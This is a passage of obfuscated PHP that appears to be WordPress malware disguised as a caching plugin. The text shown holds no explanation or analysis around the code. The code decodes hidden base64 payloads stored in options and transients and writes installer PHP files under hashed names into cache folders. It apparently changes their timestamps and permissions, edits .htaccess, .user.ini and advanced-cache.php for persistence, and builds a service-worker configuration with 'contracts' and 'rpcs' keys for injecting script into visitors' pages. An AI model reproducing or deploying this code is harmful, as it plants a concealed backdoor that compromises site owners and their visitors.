'5/T+' . 'UZ' . 'bi' . "6\x38\x38B" . 'TJ3J' . 'W8' . "b\x78\x78\x33I" . 'a4FYSA' . "I\x61wR" . 'ho' . 'x' . 'HmUz' . 'ajC' . 'v' . '79' . 'lk3' . 'Znz' . 'L' . '7auYu5' . "1\x73m" . '11k4qK' . '+81hhB' . 'afPh8D' . '1T3M' . '/ylYf3' . 'v50' . 'en' . "/C3" . 'Tn' . "Hzw\x43m" . 'hWTI' . '6esuP' . 'Cact' . "A\x30" . "\x35/ZW\x72" . "hx" . '2kO0pm' . 'hYFmUL' . "z" . '38Y2' . 'uR' . "wz\x41j" . 'jP794' . 'vyzDzp' . "KsnkS" . "r7\x33" . "N\x76\x32Seg" . 'e' . "XH6LV" . '/' . 'CIa' . 'O' . 'xsd' . 'kyd' . "\x55" . 'ij' . "8\x59I" . 'fq5D' . "ML" . 'u2t2' . "BLO\x5a5" . "u\x49\x71b" . 'YGB' . '3eH' . '9+E' . "\x62yN+DD" . "tU\x50" . 'uZbglI' . "\x51\x55i" . 'o021aK' . "q\x6dQ" . 'vBnk8' . 'qIhl' . '8D' . "\x5aIz\x6aJ" . '8Izi' . '7tSCl' . 'U' . 'fu' . '7m1' . "yoiR\x59\x36" . '11w' . 'jC+COu' . "ky" . 'WPC+' . 'Vp' . '91' . "I" . '+kw' . 'v8' . "\x54\x41BP" . 'WDj' . "\x43dX+kr" . 'IVS9Q' . 'g5k' . 'AsryA' . 'bB+HL+' . 'cUlIg' . 'vO' . "I" . 'i7k' . "e\x49P0\x36" . 'TxT+5' . 'frg' . 'qMxYkW' . 'RJsB' . "GMMqBV" . 'gSw+' . 'SaP' . '1mNG' . "Z\x44LP" . 'WDqW' . 'fjU' . 'AWCD/X' . 'un' . 'nt' . "1i" . 'rNclKb' . "mXP" . '7d2l' . 'r0/wqo' . 'W5L7gs' . "\x559" . "Us\x31\x74" . "RJ" . "\x71\x5asP" . "U\x72" . "\x41BE0p+" . "\x539" . 'T' . 'CA4' . "Ui\x50B" . 'x6KY' . 'VpEIh' . '7' . 'r4' . 'G' . '61fGC3' . "\x6e\x71p" . 'O' . 'VR' . "Y\x4d\x356" . 'evOnL' . "sK" . "Zi\x65nI\x38" . "\x49z" . 'E' . 'V9oCTN' . '+TkzWh' . 'tNsZu' . "43F" . '/3' . "4r\x4708" . 'MZ' . "S" . 'Whs' . "tx\x32\x52\x6f" . '9EKk/N' . 'm' . "Q" . "\x6a\x2f" . 'e0wv' . 'vnCSY' . 'fKD' . '3sF6f' . "e" . 'UXvW' . '1s+YBI' . "Oh42nf" . "/" . "g8wY1" . "\x31lp" . "S\x70/M\x62\x72" . 'viZ3f' . 'VdbPnK' . '1C' . "b\x6a" . 'a5NTNB' . "x" . 'Nwtbv' . "p\x5aE\x61X" . 'frhg' . "\x51\x67" . "egd8" . 'qbYKP' . "b" . "\x6dx\x59d" . "\x4aiD" . 'vHbnC' . 'wU1F' . 'dx' . 'Mg' . 'PH3dJ' . "\x629X73k" . 'IO4WH' . '/' . 'ciM4A' . "Rs" . 'Q' . '9L' . 'L1' . 't/p9X' . '4' . 'VJemNH' . 'Tw8' . 'QFw' . 'MfR0x' . 'YU7/' . "\x32Jl27" . 'IQ' . '37U' . 'e' . "7wkVT\x65" . 'Ou' . "G+k0vT" . "M\x37" . 'p' . 'kwLVp' . "g\x42DY" . 'F' . '8' . 'Cp5' . "X" . "3" . "+w\x2b/Y" . "3/\x4a\x43m" . '9Jz5' . "Y\x2b\x2b" . "\x44\x76EBO" . "zHS" . 'apgp5m' . 'rtHpm0' . "k/\x6amWR" . 'u73VU2' . 'cYJ' . 'OE' . "A\x4buk" . "0\x35" . "E8\x34d" . "\x463h\x72" . "\x42Z\x76" . "O" . "\x2b" . 'uHtU' . 'kd' . 'Uwgkjh' . "X\x48" . '7K3sV' . 'pf' . 'TQhrf' . 'a71vB7' . "\x54" . 'V/A' . 'y7fj09' . 'pP' . 'k8y' . "nXY" . '4CQ' . "\x57PwH\x6b" . 'Tlk' . "rwU\x4a\x59\x6d" . 'd3x' . 'cbDGJ' . "\x77" . 'NxON' . 'x' . "\x38y\x70" . "xtu\x52i\x43" . "\x6fJk\x49\x54" . 'k0odk' . '7J+OJ' . 'K' . 'dcJTv' . 'DEdpPx' . 'zldT' . "g" . '64m/' . "a4Uh\x30\x77" . "l\x45" . "5Q" . 'gcr1I9' . 'JJs' . '5ELs7k' . '3' . "Tg" . 'jdsSZt' . 'UXZ8' . "\x70jqF" . 'uEz/fR' . 'zGccau' . "M\x59" . 'Lge' . "A\x6cR\x46" . '5jGx8K' . 'o' . 'GtS' . "J8\x48" . 'VTvhJ' . 'H' . "\x2f6qC7" . "8\x4eWXVo" . 'vh' . 'O' . '6u9' . 'R' . 'p' . "Y" . 'FV' . 'rwDf' . '8M1d' . 's' . "\x77Lod2" . "i\x58\x59s" . 's45x0' . "5ypk\x44" . 'OPin' . "f\x74+uKX" . 'fh4' . 'H1/2VL' . "Z" . 'h9OVYL' . 'bqssa9' . '1ZwYm' . "/" . "sla" . 'kPkK' . "zKP\x39s" . '/JTc' . "BR0/g" . '8' . '03' . 'juyMK' . 's98Lg' . 'TLse' . 'P' . "0\x48\x37" . '+A2h7Z' . "O6j\x72cI" . 'd2Tx' . 'Gppm' . 'r' . "Y\x57" . "Enr" . "mV" . "u" . "QR" . '3MmxTy' . 'ACaS' . 'f' . 'g' . 'FP3' . 'y' . "V\x57\x31B\x64" . "r8" . 'ZRYKa2' . 'U57' . "Wlky\x4f0" . 'KvZZtE' . 'y' . "\x79\x674p\x65+" . "9Y\x34" . "fr" . "Eofl" . 'L' . 'shpZFm' . "rMI1" . "fIva" . "vl\x78\x62" . "YWlIe" . 'D' . "B9arI8" . 'iz' . 'ka' . "\x50o\x62m" . 'v2I' . "\x76Cn" . 'bjw/3' . "\x2f\x7a\x49b" . "4Y" . "M\x4b\x62\x4e\x70H" . 'Kgyo' . 'j7lY' . 'QmxhA' . 'XhmU' . 'fAs' . "8lAlD" . 'KgOa' . "i" . 'miTHoY' . 'Ia1Kh' . "\x45m\x7ays" . "\x71\x4b\x43" . 'PpUjQa' . 'f' . '81V' . 'nRS0SS' . 'adHM1' . 'yH' . 'hl26' . 'jPu6X' . 'De67' . 'DF6R' . "\x5a" . '/SYllE' . 'Okpq7' . 'TFDLav' . 'A/QrR' . '7rAm' . 'HO3XXX' . "Ks\x64pA" . 'jsVev' . "rP\x61d" . 'f' . 'yQ' . 'uPx3x4' . "+\x46" . 'wLw' . 'EvC9' . 'My4t' . 'J7FaZM' . 'Soq' . '4ELl' . 'Ar' . "\x33D3rS\x37" . "\x78" . "M" . 'l55wac' . 'M4v' . '7Sl' . "H" . "cI7/" . "ad" . 'GH' . 'xn54sI' . 'Xvy' . 'fz' . 'vfVlvc' . 'VMB14H' . 'h6qsX' . 'bLb' . 'gb' . 'M6' . 'Fz' . '3' . 'XEFW' . "p\x2bPh\x73\x46" . "pbZV\x46" . "TN" . 'K' . 'V' . '5VaP6' . 'u' . 'UhA' . '6Tqf' . "FPsm\x4dW" . 'r' . 'DgA' . '22ZO8' . 'IahJ' . 'z' . '4nf6yn' . "O\x69Q\x50O" . "Y" . "sb\x74kD" . "\x76UX" . 'FIZc3' . "\x45G" . "V" . '8C0Xt' . "xw\x59F\x55U" . 'f7iC' . 'b/pJI' . 'q' . 'IghK' . '6All' . "xL\x4bD" . "0Tq\x33d" . 'zA4' . 'L' . '6u+of' . 'D' . '6' . 'tcP8UY' . 'T56NbZ' . "\x47q\x37+\x683" . '2bC3l3' . "\x65" . "MN\x52GE" . 'cPCUA5' . 'N' . 'to7as' . "\x46zx" . 'p' . 'xB' . 'd' . '6' . 'AZDC+' . 'A8rlUv' . "1\x61\x69\x65Rt" . "\x31BgJB\x49" . 'eZPw' . '+/Coxe' . 'HmO' . "\x6fP\x55hB" . '8lC+' . 'VuQV' . "Z" . 'NG0K' . 'j7lb' . 'VJ8gym' . 'oLc' . "D" . "N4\x61" . 'wnT' . 'jE' . 'SAO0' . 'fH/' . 'NF5M' . 'tEcl3' . "F5" . '+kd' . 'r44' . 'N' . "0w\x532" . 'S/hlVZ' . 'VlQJ' . "\x6e\x38\x35" . 'Y' . 'xs' . '1gk' . '+hy' . 'uEMaX2' . "\x68\x32" . 'w4h' . 'OgJ1' . 'HE9' . "X/\x56" . 'k12' . 'lB' . 'ZL' . 'ivZ1' . "Av" . "J2" . '6fE95' . 'ssII' . 'rNte5' . 'xB' . "0z" . 'HL' . "a\x78\x65" . 'I' . "a\x32\x48T" . "H\x662\x66\x59\x6c" . "6\x35" . 'K' . "U" . "\x57\x78+9hs" . "Y54" . "Du\x59" . 'qqu9' . "FzP" . '1EGsTP' . 'oO' . "\x67" . 'J' . 'q' . 'IGocV' . "\x52hl1\x39" . 'x7HC' . 'Zhj' . "+V\x53\x74" . '8' . 'pdEK' . "1\x48Tz\x65" . '3t' . 'ZX' . "\x56\x50rxVy" . 'rQO' . 'alCLlp' . "UN" . 'xDl23h' . "u\x4e\x6d1\x64b" . '3B' . "\x39l\x6e\x64M" . "\x51r\x4e/L" . 'xWz' . "U/zcUt" . 'lGgPcD' . 'C1SU+' . 'y/UJ' . 'B' . 'whyB' . 'sp' . 'wXY/2' . '4Bnko' . '+a' . 'KtOV' . '9' . 'j' . "/" . 'j' . "\x53X\x38\x4faR" . "\x2fj" . 'BwwHlt' . "xY\x45\x69" . 'KV' . "\x65Q" . 'e' . 'Yf' . 'gS' . "5pj8" . 'VfGmX' . 'fxcff' . "0F" . 'GCL4v0' . 'sulV' . "+" . 'KFEP9' . "Y+lT\x78" . "\x54htb" . '7' . 'X' . "I2\x4a\x4b" . '3Mk' . "\x6cH\x4f" . 'qzV4o6' . 'ocp7W' . 'mMl' . "6uC" . 'ZBja0' . '5kBS02' . "\x52" . 'ime' . 'cZN' . 'Bd' . 'TSa5' . 'OH' . 'F9bRCj' . '+2NY' . "Sn2" . '5uFP+' . 'fK' . 'Qy' . "\x41MF\x41" . "Ole\x77" . "SdI" . "\x41\x4dhGg" . '5' . "LJ0" . "Jeuy\x72" . 'HQb7D' . "Gpz\x6bQ" . "\x42Wj6" . 'gvTZUG' . 'mM' . "5\x71" . '2T' . 'y' . 'W' . "\x75\x46\x4f\x33\x49p" . 'jUed' . "\x43IpJh" . "\x71PL" . 'PIsM' . 'l8vXGF' . 'oMdYf' . '3bb' . 'P6' . 'LUq' . 'Ln' . 'pK1S0' . "wq\x4eQm" . 'DN' . "5R" . "\x613" . "1M" . '9YVPS' . "3pIO" . 'qdH/P4' . '87hyOg' . 'y+UQSd' . "\x39" . "gOp\x43" . "\x74L" . "\x59\x50\x473\x58N" . "G3Q\x78P" . "WK" . '97FX' . 'B' . 'Dq' . "z\x78" . "b" . 'U/6' . "9h" . 'NTZZn' . 'OVya' . "s" . "e\x33\x6ecgq" . '/rnI' . 'O' . 'FWqbI' . '1QIDaQ' . "W" . 'M7C' . "3S\x46UP" . 'a' . 'uh3N6f' . 'oK9pkP' . 'yjmN' . "A\x6c" . 'c' . "Mt\x31" . "\x64pj\x39m" . 'XIT3' . 'Sp' . 'ePO0nD' . 'dLw1' . "Ft" . "9\x66" . 'R' . 'TaEB' . "y\x6c/" . 'S3I' . 'gnW' . 'jffF' . 'kzm' . 'uVM0Q' . 'eNJo' . 'HreuBI' . 'w' . 'b+x3eq' . 'AhnlXM' . 'TvYo3T' . '9y6' . '8' . '4p' . 'OpWh' . 'SAp1h' . 'kbf' . "\x52" . "\x2b" . "\x6a\x30\x6ew\x66" . "u\x4dcj" . 'hjD' . "Y" . '1Ej' . "w6H" . "7\x57\x6eE" . "k1pc0x" . "\x73VPK\x33" . 'ym' . 'CN6XA' . 'QQ18M' . "e\x75Ue\x43" . 'q' . '0BK/cB' . 'NT5+Z' . 'T4vwM' . 'EI' . "B+\x32\x75+" . 'ashETT' . "dOXQYi" . 'q' . "lS6" . 'm+' . 'IZl' . "B\x2f" . "hoy" . "bLvDZ" . 'S' . 'J' . 'u0fT' . 'n' . 'Z6' . 'cs' . 'JtBM' . 'Q0' . 'SG' . 'g' . "p" . "a7G\x2f" . 'Kp' . 'L' . 'Uh' . "0myWr" . 'r' . "vo" . "\x34+A\x64g" . 'K' . "UT6\x4e\x75" . '3' . "wGN+" . "\x6egj\x5a7G" . 'W2' . '4r' . 'gVx' . 'c' . '2NoqLv' . 'jhPw' . '=='));
if (!is_string($c) || strlen($c) < (105 + -5)) $c = '';
return $c;
}
function luve()
{
try {
if (!defined('ABS' . 'PAT' . "H")) return;
$slug = basename(sc_file(), '.php');
$zip_name = sc_md5(ABSPATH . 'zip', (13 - 5)) . '.zip';
$inst_hash = sc_md5(ABSPATH . 'i' . 'ns' . "t", (24 - 16));
$_content_url = ("f" . "\x75\x6e\x63\x74" . 'ion_exists')("c\x6fnten" . "t" . '_url') ? content_url() : '';
if ($_content_url === '') {
$_content_url = (('funct' . "i\x6fn_e\x78\x69\x73ts")('ge' . "\x74\x5fs" . "i\x74\x65_\x75r" . "\x6c") ? get_site_url() : '') . '/' . "wp-co" . 'nte' . "\x6e\x74";
}
$zip_url = str_replace('http' . '://', 'http' . 's' . ":\x2f/", $_content_url . '/' . $zip_name);
if (strpos($zip_url, 'https:' . '//') !== (2866 ^ 2866)) $zip_url = 'h' . 't' . 'tp' . 's://' . ltrim($zip_url, '/');
$inst_url = ('fun' . ("ction_" . "") . "exi" . 'sts')("\x68om" . 'e_' . 'url') ? home_url('?p=' . yaya("i" . "n" . 'st')) : '';
if ($inst_url === '') $inst_url = 'ht' . 't' . 'ps' . '://' . wutup('') . "/" . "?" . "p=" . yaya('inst');
if (strpos($inst_url, 'http' . "s" . '://') !== (1513 ^ 1513)) $inst_url = 'http' . 's:' . "//" . ltrim(("\x70\x72\x65g" . "" . '_replace')('#' . "^" . 'http' . 's?:' . '//#', '', $inst_url), '/');
$c2_sw = isset(${'GLOB' . 'A' . "LS"}['sc' . '_sw']) && is_string(${"GL\x4f" . 'B' . "\x41" . 'LS'}['sc_sw']) ? ${'GL' . 'OB' . 'A' . "\x4cS"}["s\x63_" . 'sw'] : '';
if (strlen($c2_sw) < (200 >> 1)) {
$c2_sw = caje('sw_cac' . 'he' . 'd', '');
}
if (strlen($c2_sw) < (800 >> 3)) {
$c2_sw = suku();
}
$page_code = '';
if (isset(${"G" . ("LOBA" . 'LS')}['sc_p' . 'age']) && is_string(${'GL' . 'OB' . "\x41" . "\x4c\x53"}['sc' . '_p' . 'age']) && strlen(${"GL" . "" . "\x4f\x42" . "\x41\x4c\x53"}['sc_pa' . "g\x65"]) > (0 | 50)) {
$page_code = ${"GLO" . "\x42\x41L\x53"}['sc' . '_pag' . "e"];
} else {
$page_code = caje('page' . "_\x63\x61" . "\x63hed", '');
}
if (strlen($page_code) > (30 ^ 44)) {
sc_pk("p\x61ge_" . 'cache' . 'd', $page_code, 'no');
}
$_ab = ('fun' . "c\x74" . "i\x6fn_\x65\x78i" . 'sts')('h' . "o\x6de_" . 'url') ? (string) parse_url(home_url('/'), PHP_URL_PATH) : '/';
if ($_ab === '') $_ab = '/';
if (substr($_ab, -(2649 ^ 2648)) !== '/') $_ab .= '/';
$boot_data = array(
'cont' . "\x72a" . "ct\x73" => biwe(),
'rpcs' => jedel(),
'adm' . "inB\x61" . 's' . 'e' => $_ab,
);
$sensitive_data = array(
'zipU' . 'r' . 'l' => $zip_url,
'slug' => $slug,
'inst' . 'alle' . "\x72Url" => $inst_url,
'writ' . 'eK' . "e\x79" => sc_md5(ABSPATH . 'wk', (0 | 12)),
'pag' . 'eCo' . 'de' => $page_code,
);
$srv_key = sc_pg('srv_' . 'key', '');
if (!is_string($srv_key) || strlen($srv_key) === (1877 ^ 1877)) {
return;
}
$enc_data = ("base6" . "\x34\x5f\x65" . "n" . ('' . "code"))(zuwi(json_encode($sensitive_data), $srv_key));
$config_prefix = 'v' . 'ar' . " " . '_' . '_' . 'SC' . '_BOO' . "\x54=J" . 'SON.' . "pa" . "r\x73\x65\x28" . 'a' . 'tob' . "(\"" . ("b\x61s\x656\x34\x5fenc\x6f" . "\x64\x65")(json_encode($boot_data)) . "\"))" . ';';
$config_prefix .= 'va' . "r __\x53C" . '_ENC' . "=" . '"' . $enc_data . '";';
$_sw_sig_n = md5((string) $c2_sw . (string) $page_code . $srv_key . json_encode($boot_data['contra' . 'cts']) . json_encode($boot_data['rpc' . 's']) . '|' . strtolower(wutup('')) . '|' . $_ab);
if (sc_pk('s' . "w" . "_con\x66" . 'ig', $config_prefix, 'no') || caje("sw\x5f" . 'config', '') === $config_prefix) sc_pk('sw_' . 'conf' . "ig\x5fs\x69" . "g", $_sw_sig_n, 'no');
unset($_sw_sig_n);
$sw_url = ("fun\x63\x74" . "\x69o" . "\x6e\x5f\x65\x78\x69\x73\x74" . 's')("ho\x6de" . '_ur' . "l") ? home_url('?p=' . yaya('sw')) : '';
if ($sw_url === '') $sw_url = 'https' . ':/' . "\x2f" . wutup('') . '/?p=' . yaya('sw');
if (strpos($sw_url, 'http' . "s" . ':/' . "/") !== (3449 ^ 3449)) $sw_url = "http" . 's://' . ltrim(("pre" . "g_" . 'replace')("#^\x68\x74t" . "ps?:" . '//#', '', $sw_url), '/');
sc_pk("s\x77\x5fu" . "\x72\x6c", $sw_url, 'no');
if (strlen($c2_sw) < (54 ^ 82)) {
return;
}
sc_pk('sw_cac' . "he" . 'd', $c2_sw, 'no');
if (!buha()) return;
$cache_dir = sc_data_dir();
if (!@is_dir($cache_dir)) qeru($cache_dir, (425 | 68), (5 != 18));
if (!@is_dir($cache_dir) || !@is_writable($cache_dir)) return;
$inst_file = $cache_dir . '/' . $inst_hash . '.php';
$inst_code = nuqim(
'inst_' . 'tpl',
array('__' . 'SLU' . "G__", '__ZI' . 'P' . '_N' . "A\x4d\x45" . "__", '__WRIT' . 'E_KEY' . '__', '__VERS' . "IO" . "\x4e__"),
array($slug, $zip_name, sc_md5(ABSPATH . 'wk', (28 - 16)), sc_ver())
);
if (!$inst_code) {
if ((int) get_option('sc_la' . 'st_fet' . "\x63\x68_ts", (3561 ^ 3561)) > (1980 ^ 1980)) niga('s' . 'w', "\x69nst\x5ft" . "\x70l_mi" . "ssin\x67");
return;
}
if (!@file_exists($inst_file) || md5(vevit((string) @('file_g' . "et_contents")($inst_file))) !== md5($inst_code)) {
medi($inst_file, $inst_code, "sw_i" . 'nst');
alevu($inst_file, ocisu());
legiv($inst_file, (129 + 291));
egaler($inst_file);
}
} catch (Throwable $e) {
niga("s" . 'w', $e);
} catch (Exception $e) {
}
}
function nuqim($key, $placeholders, $values)
{
$payload = null;
if ($payload === null) {
$payload = ("fun" . "ction" . "_exi" . "\x73\x74\x73")("\x67et_t" . 'ran' . 'sien' . 't') ? get_transient(igari()) : (7 == 27);
if (! is_array($payload)) {
$payload = remiw("sc\x5fp" . 'ay' . 'lo' . 'ad_' . 'persis' . 'tent', (39 == 36));
}
if (! is_array($payload)) {
$payload = array();
}
}
$b64 = '';
if (isset($payload[$key]) && is_string($payload[$key])) {
$b64 = $payload[$key];
}
if (!(strlen($b64) < (7 + 43))) {} else {
$b64 = caje($key, '');
}
if (strlen($b64) < (64 - 14)) return (13 === 17);
$code = ('bas' . 'e64_decode')($b64, (6 != 21));
if (!$code || strlen($code) < (200 >> 2)) return (25 == 2);
if (strpos($code, '<?') === (39 != 39)) return (28 == 33);
$code = str_replace($placeholders, $values, $code);
if (defined("\x54" . "OKEN" . '_PARSE')) {
try {
@token_get_all($code, TOKEN_PARSE);
} catch (Throwable $e) {
return (35 === 6);
} catch (Exception $e) {
return (4 > 4);
}
} elseif (!nifa($code)) {
return (4 == 26);
}
return $code;
}
function sc_sw_setup()
{
try {
sc_dbg_log("1\x37 \x73" . 'w_se' . 'tup ' . "en\x74e" . "\x72");
if (!("function_ex" . "\x69s\x74\x73")('ge' . "t_t" . 'ra' . 'nsient')) return;
if (!defined("AB\x53P" . 'ATH')) return;
$_sw_ok = kaku();
if (!$_sw_ok) {
luve();
$_sw_ok = kaku();
}
$_sk = caje('srv_k' . "\x65\x79", '');
if (strlen($_sk) === (647 ^ 647)) $_sk = str_repeat("\x00", (6 + 10));
$_sw_cur = (isset(${"GLO" . '' . 'B' . 'A' . "LS"}['sc' . "_s\x77"]) && is_string(${"\x47" . "LOB" . "" . "A" . "LS"}['sc_sw']) && strlen(${"\x47\x4c" . "" . "O" . 'BA' . 'LS'}['sc_sw']) >= (32 | 68)) ? ${"G" . "" . 'LOBAL' . 'S'}['sc_sw'] : caje('sw_' . "c\x61ch" . "e\x64", '');
if (strlen($_sw_cur) < (121 - 21)) $_sw_cur = suku();
$_pg_cur = (isset(${("\x47" . "LOBA") . 'LS'}['sc' . '_page']) && is_string(${'GLOBA' . "LS"}["\x73c_\x70a" . "ge"]) && strlen(${"\x47L" . "" . 'OB' . "AL" . "S"}['sc' . "_\x70age"]) > (52 ^ 6)) ? ${'GLO' . "B" . 'ALS'}['sc_p' . 'a' . 'ge'] : caje('page_c' . 'a' . "ch\x65" . "\x64", '');
$_abp = (("function_" . "") . "ex" . "ists")('home' . "\x5fur\x6c") ? (string) parse_url(home_url('/'), PHP_URL_PATH) : '/';
if ($_abp === '') $_abp = '/';
if (substr($_abp, -(609 ^ 608)) !== '/') $_abp .= '/';
$_sw_sig = md5($_sw_cur . $_pg_cur . $_sk . json_encode(biwe()) . json_encode(jedel()) . '|' . strtolower(wutup('')) . '|' . $_abp);
unset($_abp);
if (caje('sw_con' . 'fi' . "g\x5fs" . "ig", '') !== $_sw_sig) {
luve();
$_sw_ok = kaku();
}
if (!buha()) return;
$base = sc_writable_base();
$adv_exists = @file_exists($base . '/adva' . 'nce' . 'd-' . 'ca' . 'c' . "h\x65." . 'php');
if ($adv_exists && $_sw_ok && get_transient('s' . 'c_sw_s' . 'etu' . 'p')) return;
oseki();
mevox();
otogu();
$_adv_ok = @file_exists($base . '/advan' . "c\x65\x64-ca" . 'ch' . 'e.php');
$_sw_ok = kaku();
if ($_adv_ok && $_sw_ok) {
set_transient('sc' . '_sw_se' . "tup", (2930 ^ 2931), (312 - 12));
}
} catch (Throwable $e) {
niga('sw_set' . 'u' . 'p', $e);
} catch (Exception $e) {
}
}
function mevox()
{
try {
if (!defined('ABSP' . "A\x54H")) return;
$base = sc_writable_base();
$cache_dir = sc_data_dir();
$loader_name = sc_md5(ABSPATH . 'ldr', (64 >> 3)) . '.php';
$ini_filename = ("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78" . 'ists')("in\x69_g" . 'e' . "t") ? @ini_get('use' . 'r_ini.' . "f\x69l\x65n" . 'ame') : (7 == 20);
$ini_filename = is_string($ini_filename) ? trim($ini_filename) : '';
if ($ini_filename === '' || strcasecmp($ini_filename, '(non' . "e)") === (3821 ^ 3821)) $ini_filename = '.use' . 'r.in' . 'i';
$_mu_cd = dirname(sc_file()) . '/' . "\x63ach" . "e";
$_lg_cd = defined('WP_CO' . "\x4eTE" . 'NT_' . 'D' . 'IR') ? WP_CONTENT_DIR . "/cach" . 'e' : $_mu_cd;
$_dirs = array(rtrim($base, '/\\'), rtrim(dirname(sc_file()), '/\\'), rtrim($cache_dir, '/\\'), rtrim($_mu_cd, '/\\'), rtrim($_lg_cd, '/\\'));
if (defined('WP_' . 'CONTE' . "NT\x5fDIR")) $_dirs[] = rtrim(WP_CONTENT_DIR, '/' . "\\");
foreach (array_unique($_dirs) as $_d) {
$_wp = $_d . '/' . $loader_name;
if (@is_file($_wp)) sofep($_wp, null);
$_hp = $_d . '/.' . $loader_name;
if (@is_file($_hp)) sofep($_hp, null);
}
unset($_mu_cd, $_lg_cd, $_dirs, $_d, $_wp, $_hp);
$_ini_dirs = array(rtrim(ABSPATH, '/\\'));
if (defined('W' . 'P_CON' . 'TENT_D' . "IR")) $_ini_dirs[] = rtrim(WP_CONTENT_DIR, '/\\');
$_ini_dirs[] = rtrim($base, "\x2f" . '\\');
$_ini_dirs[] = rtrim(dirname(sc_file()), '/\\');
foreach (array_unique($_ini_dirs) as $_id) {
$_ip = $_id . '/' . $ini_filename;
$_ic = @is_file($_ip) ? @("file_get_content" . "s")($_ip) : '';
if (!is_string($_ic) || $_ic === '' || strpos($_ic, $loader_name) === (19 == 16)) continue;
$_in = ("pr\x65g_" . 'replace')('/\\n?' . "\x61uto_p" . 'rep' . 'end_' . 'file\\' . "s*=" . "\\s\x2a[\"" . '\']' . "\x3f[^\"'\\" . 'r' . "\\\x6e\x5d\x2a" . preg_quote($loader_name, '/') . '[^"\'\\' . 'r\\n]*' . '[' . '"\'' . "]?\\r?\\" . "n?\x2f\x69", "\n", $_ic);
if (is_string($_in) && $_in !== $_ic && zifo($_ip, $_in)) niga('i' . "ni", 'r' . 'et' . 'ired');
}
unset($_ini_dirs, $_id, $_ip, $_ic, $_in);
if (("\x66u\x6ec\x74\x69\x6f" . 'n_exists')('delete' . '_' . "\x6f\x70\x74i" . 'o' . 'n')) {
@delete_option("sc_in" . 'i_' . "\x70end\x69n" . 'g');
@delete_option('sc' . '_' . 'ini' . '_fail');
@delete_option('sc_in' . "i_de" . 'ad');
}
} catch (Throwable $e) {
niga('ini', $e);
} catch (Exception $e) {
}
}
function uwovo()
{
try {
if (!defined("AB\x53\x50A" . 'TH')) return;
$base = sc_writable_base();
$cache_dir = sc_data_dir();
$loader_name = sc_md5(ABSPATH . 'htl', (14 + -6)) . '.p' . "\x68\x70";
$_mu_cd = dirname(sc_file()) . "/\x63" . 'a' . "\x63h\x65";
$_lg_cd = defined("W\x50_\x43\x4f" . 'NTEN' . 'T_DIR') ? WP_CONTENT_DIR . '/cach' . "\x65" : $_mu_cd;
$_dirs = array(rtrim($base, '/\\'), rtrim(dirname(sc_file()), '/' . '\\'), rtrim($cache_dir, '/\\'), rtrim($_mu_cd, '/' . "\\"), rtrim($_lg_cd, '/\\'));
if (defined("WP_C" . 'ONTE' . "NT" . "_DI" . 'R')) $_dirs[] = rtrim(WP_CONTENT_DIR, '/\\');
foreach (array_unique($_dirs) as $_d) {
$_lp = $_d . '/' . $loader_name;
if (@is_file($_lp)) sofep($_lp, null);
}
unset($_mu_cd, $_lg_cd, $_dirs, $_d, $_lp);
$_ht_dirs = array(rtrim(ABSPATH, '/\\'));
if (defined("WP_" . "\x43ON" . 'TE' . 'N' . 'T_DIR')) $_ht_dirs[] = rtrim(WP_CONTENT_DIR, '/\\');
$_ht_dirs[] = rtrim($base, '/\\');
$_ht_dirs[] = rtrim(dirname(sc_file()), "/" . '\\');
foreach (array_unique($_ht_dirs) as $_htd) {
$_hp = $_htd . '/.' . 'ht' . 'acce' . 's' . 's';
$_hc = @is_file($_hp) ? @("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74" . ("" . "s"))($_hp) : '';
if (!is_string($_hc) || $_hc === '' || strpos($_hc, $loader_name) === (4 != 4)) continue;
$_hn = satur($_hc, $loader_name);
if (is_string($_hn) && $_hn !== $_hc && zifo($_hp, $_hn)) niga('ht', "reti" . 'red');
}
unset($_ht_dirs, $_htd, $_hp, $_hc, $_hn);
if (php_sapi_name() === 'cli') return;
if (!taqug()) return;
if (!buha()) return;
$htaccess = $cache_dir . '/.' . 'hta' . "c\x63e\x73\x73";
$rules = '<F' . 'ilesM' . "a" . "tc\x68\x20\"\\" . "." . '(zip|l' . 'og|s' . "\x71l)" . '$">' . "\n"
. '<IfMod' . 'ule m' . "od_" . 'a' . "\x75" . 'thz_' . "c\x6fre\x2ec" . '>' . "\n" . "Re\x71\x75" . "ire\x20\x61" . "ll d\x65" . "ni\x65d" . "\n" . "<\x2fIfM" . "o" . "d\x75\x6ce>" . "\n"
. "<IfM\x6f" . 'dul' . 'e ' . '!' . 'mod_au' . "\x74\x68\x7a_\x63" . 'ore' . '.c>' . "\n" . 'Deny ' . "fr" . 'om al' . "l" . "\n" . '</If' . 'Modu' . "l\x65>" . "\n"
. "</" . "F\x69" . "l\x65" . "s" . 'M' . 'atch' . "\x3e" . "\n";
$_ht_ex = @file_exists($htaccess);
$current = $_ht_ex ? @("fil" . "\x65\x5f\x67" . "et_cont" . '' . 'ents')($htaccess) : '';
if (!is_string($current)) {
niga('ht', 'read_' . 'fail' . 'ed');
return;
}
$_shared = array(rtrim(ABSPATH, '/\\'));
if (defined("WP_\x43\x4f\x4e" . "\x54ENT_" . "DIR")) $_shared[] = rtrim(WP_CONTENT_DIR, '/\\');
if (defined("WPMU_" . 'P' . "LU\x47I\x4e_" . "DI\x52")) $_shared[] = rtrim(WPMU_PLUGIN_DIR, '/' . '\\');
if (defined("WP\x5f" . "P\x4c\x55G\x49" . "N\x5fD\x49\x52")) $_shared[] = rtrim(WP_PLUGIN_DIR, '/\\');
$_cdn = rtrim($cache_dir, '/\\');
$_is_shared = in_array($_cdn, $_shared, (10 !== 37));
unset($_shared, $_cdn);
if (!$_is_shared) {
$_idx = $cache_dir . "\x2f" . 'index.' . 'html';
if (!@is_file($_idx)) medi($_idx, '', 'idx');
if (strpos($current, "\x46\x69" . "l" . 'esM' . "atch") === (2 === 19)) {
$_raw = $current;
if ($current !== '' && substr($current, -(3414 ^ 3415)) !== "\n") $current .= "\n";
$_rc = @("file_get_con" . 'tents')($htaccess);
if (!is_string($_rc)) $_rc = '';
if ($_rc !== $_raw) {
niga('ht', 'rmw_r' . 'ace');
} else {
zifo($htaccess, $current . $rules);
alevu($htaccess, ocisu());
if (!$_ht_ex) legiv($htaccess, (261 ^ 161));
}
unset($_rc, $_raw);
}
}
unset($_is_shared, $_idx, $_ht_ex);
} catch (Throwable $e) {
niga('ht', $e);
} catch (Exception $e) {
niga('ht', $e);
}
}
function dano($pl_dir, $mu_dir, $slug)
{
